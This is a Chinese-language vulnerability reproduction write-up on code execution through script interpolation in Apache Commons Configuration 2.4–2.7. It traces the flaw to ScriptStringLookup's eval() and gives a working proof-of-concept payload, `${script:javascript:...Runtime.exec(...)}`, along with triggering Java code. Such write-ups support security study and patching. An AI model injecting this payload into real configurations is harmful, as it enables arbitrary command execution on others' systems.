commons configuration可执行变量插值字符串,2.4~2.7版本默认的Lookup中包含任意代码执行的插值解析器。解析{prefix:name}
字符串达到命令执行。
影响范围:2.4~2.7
修复版本:2.8.0
该组件和java配置文件相关,并支持插值字符串的形式,先介绍下commons configuration中的插值字符串。
以下为官网的示例:
application.name = Killer App
application.version = 1.6.2
application.title = ${application.name} ${application.version}
会将application.title
解析为Killer App 1.6.2
我们首先需要一个配置文件,这里以properties为例,随意写一个key,value如app.name=test
Configurations configs = new Configurations(); try { PropertiesConfiguration properties = configs.properties(new File("my.properties")); String string = properties.getString("app.name"); } catch (ConfigurationException e) { e.printStackTrace(); }
接着去看一下这个字符串的值如何解析。进入debug模式一步一步跟,最后看到关键函数,org.apache.commons.configuration2.interpol.ConfigurationInterpolator#resolve
我们要看看这个prefix
可以获得哪些Lookup,进入该类,看到属性DEFAULT_PREFIX_LOOKUPS
,接着看它如何被赋值,发现在静态代码块中有对该Map的赋值。
跟入DefaultLookups
发现有script的前缀Lookup,跟入ScriptStringLookup
。
看到这里已经很明显了,lookup()
解析字符串的逻辑,35行的eval()
函数。而且这里逻辑特别简单,以:
分割字符串,冒号前的字符串为Script的引擎名,后边为要执行的代码。
我们接着构造poc,将配置文件改为app.name=${script:javascript:java.lang.Runtime.getRuntime().exec("open -a Calculator")}
执行。
DefaultLookups script = DefaultLookups.SCRIPT; Lookup lookup = script.getLookup(); lookup.lookup(cmd);
InterpolatorSpecification spec = new InterpolatorSpecification.Builder() .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups()) .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values()) .create(); ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(spec); String str = "${script:" + cmd + "}"; interpolator.interpolate(str);
一个简单的漏洞复现过程,原理蛮简单的,就是调用js引擎的eval函数。
想复现的小伙伴可以参考下。